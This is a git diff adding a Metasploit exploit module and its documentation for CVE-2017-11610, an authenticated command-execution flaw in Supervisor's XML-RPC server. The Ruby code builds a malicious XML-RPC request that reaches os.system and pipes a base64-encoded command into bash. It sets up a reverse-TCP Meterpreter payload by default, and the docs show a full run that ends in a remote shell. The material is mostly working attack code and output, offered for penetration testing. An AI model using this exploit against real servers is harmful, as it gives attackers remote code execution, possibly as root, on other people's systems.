diff --git a/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md new file mode 100644 index 0000000000..8b63cf55ec --- /dev/null +++ b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md @@ -0,0 +1,78 @@ +## Vulnerable Application + + This module exploits an authenticated RCE vulnerability in Supervisor versions 3.0a1 to 3.3.2 + + This has been tested with versions 3.2.0 and 3.3.2 + +### Creating A Testing Environment + + At the time of writing, version 3.2.0-2ubuntu0.1 is available in the Ubuntu repositories. + + 1. ```sudo apt-get install supervisor``` + 2. Enable Web interface/XML-RPC server in Supervisor config in `/etc/supervisor/supervisord.conf` + + ``` + [inet_http_server] ; inet (TCP) server disabled by default + port=:9001 ; ip_address:port specifier, *:port for all iface + username=user ; default is no username (open server) + password=123 ; default is no password (open server) + ``` + + 3. Restart the service: `sudo service supervisor restart` + +## Verification Steps + + 1. ```use exploit/linux/http/supervisor_xmlrpc_exec``` + 2. ```set lhost [IP]``` + 3. ```set rhost [IP]``` + 4. ```set httpusername user``` + 5. ```set httppassword 123``` + 6. ```exploit``` + 7. A meterpreter session should have been opened successfully + +## Options + + **HttpUsername** + + Username for HTTP basic auth which is set in the conf file(optional) + + **HttpPassword** + + Password for HTTP basic auth which is set in the conf file(optional) + + **TARGETURI** + + The path to the XML-RPC endpoint + +## Scenarios + +### Supervisor 3.2.0 on Xubuntu 16.04 + +``` +msf > use exploit/linux/http/supervisor_xmlrpc_exec +msf exploit(supervisor_xmlrpc_exec) > set httpusername user +httpusername => user +msf exploit(supervisor_xmlrpc_exec) > set httppassword 123 +httppassword => 123 +msf exploit(supervisor_xmlrpc_exec) > set lhost 192.168.0.2 +lhost => 192.168.0.2 +msf exploit(supervisor_xmlrpc_exec) > set rhost 192.168.0.19 +rhost => 192.168.0.19 +msf exploit(supervisor_xmlrpc_exec) > check + +[*] Extracting version from web interface.. +[*] Using basic auth (user:123) +[+] Vulnerable version found: 3.2.0 +[*] 192.168.0.19:9001 The target appears to be vulnerable. +msf exploit(supervisor_xmlrpc_exec) > exploit + +[*] Started reverse TCP handler on 192.168.0.2:4444 +[*] Sending XML-RPC payload via POST to 192.168.0.19:9001/RPC2 +[*] Using basic auth (user:123) +[*] Sending stage (2878872 bytes) to 192.168.0.19 +[*] Command Stager progress - 100.00% done (782/782 bytes) +[+] Request timeout, usually indicates success. Passing to handler.. +[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100 + +meterpreter > +``` diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb new file mode 100644 index 0000000000..3f28f6f321 --- /dev/null +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -0,0 +1,169 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability in the Supervisor process control software, where an authenticated client + can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. + The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this + may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been + configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Calum Hutton ' + ], + 'References' => + [ + ['URL', 'https://github.com/Supervisor/supervisor/issues/964'], + ['URL', 'https://www.debian.org/security/2017/dsa-3942'], + ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'], + ['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'], + ['CVE', '2017-11610'] + ], + 'Platform' => 'linux', + 'Targets' => + [ + ['3.0a1-3.3.2', {}] + ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'DefaultOptions' => + { + 'RPORT' => 9001, + 'Payload' => 'linux/x64/meterpreter/reverse_tcp', + }, + 'Privileged' => false, + 'DisclosureDate' => 'Jul 19 2017', + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(9001), + OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']), + OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']), + OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']), + ] + ) + end + + def check_version(version) + if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1') + return true + else + return false + end + end + + def check + + print_status('Extracting version from web interface..') + + params = { + 'method' => 'GET', + 'uri' => normalize_uri('/') + } + if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty? + print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") + params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) + end + res = send_request_cgi(params) + + if res + if res.code == 200 + match = res.body.match(/(\d+\.[\dab]\.\d+)<\/span>/) + if match + version = Gem::Version.new(match[1]) + if check_version(version) + print_good("Vulnerable version found: #{version}") + return Exploit::CheckCode::Appears + else + print_bad("Version #{version} is not vulnerable") + return Exploit::CheckCode::Safe + end + else + print_bad('Could not extract version number from web interface') + return Exploit::CheckCode::Unknown + end + elsif res.code == 401 + print_bad("Authentication failed: #{res.code} response") + return Exploit::CheckCode::Safe + else + print_bad("Unexpected HTTP code: #{res.code} response") + return Exploit::CheckCode::Unknown + end + else + print_bad('Error connecting to web interface') + return Exploit::CheckCode::Unknown + end + + end + + def execute_command(cmd, opts = {}) + + # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server + # Credit to the following urls for the os.system() payload + # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610 + # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html + xml_payload = %{ + + supervisor.supervisord.options.warnings.linecache.os.system + + + echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 & + + +} + + # Send the XML-RPC payload via POST to the specified endpoint + endpoint_path = target_uri.path + print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}") + + params = { + 'method' => 'POST', + 'uri' => normalize_uri(endpoint_path), + 'ctype' => 'text/xml', + 'headers' => {'Accept' => 'text/xml'}, + 'data' => xml_payload, + 'encode_params' => false + } + if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty? + print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})") + params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])}) + end + return send_request_cgi(params, timeout=5) + + end + + def exploit + + res = execute_cmdstager(:linemax => 800) + + if res + if res.code == 401 + fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response") + elsif res.code == 404 + fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response") + else + fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response") + end + else + print_good('Request returned without status code, usually indicates success. Passing to handler..') + handler + end + + end + +end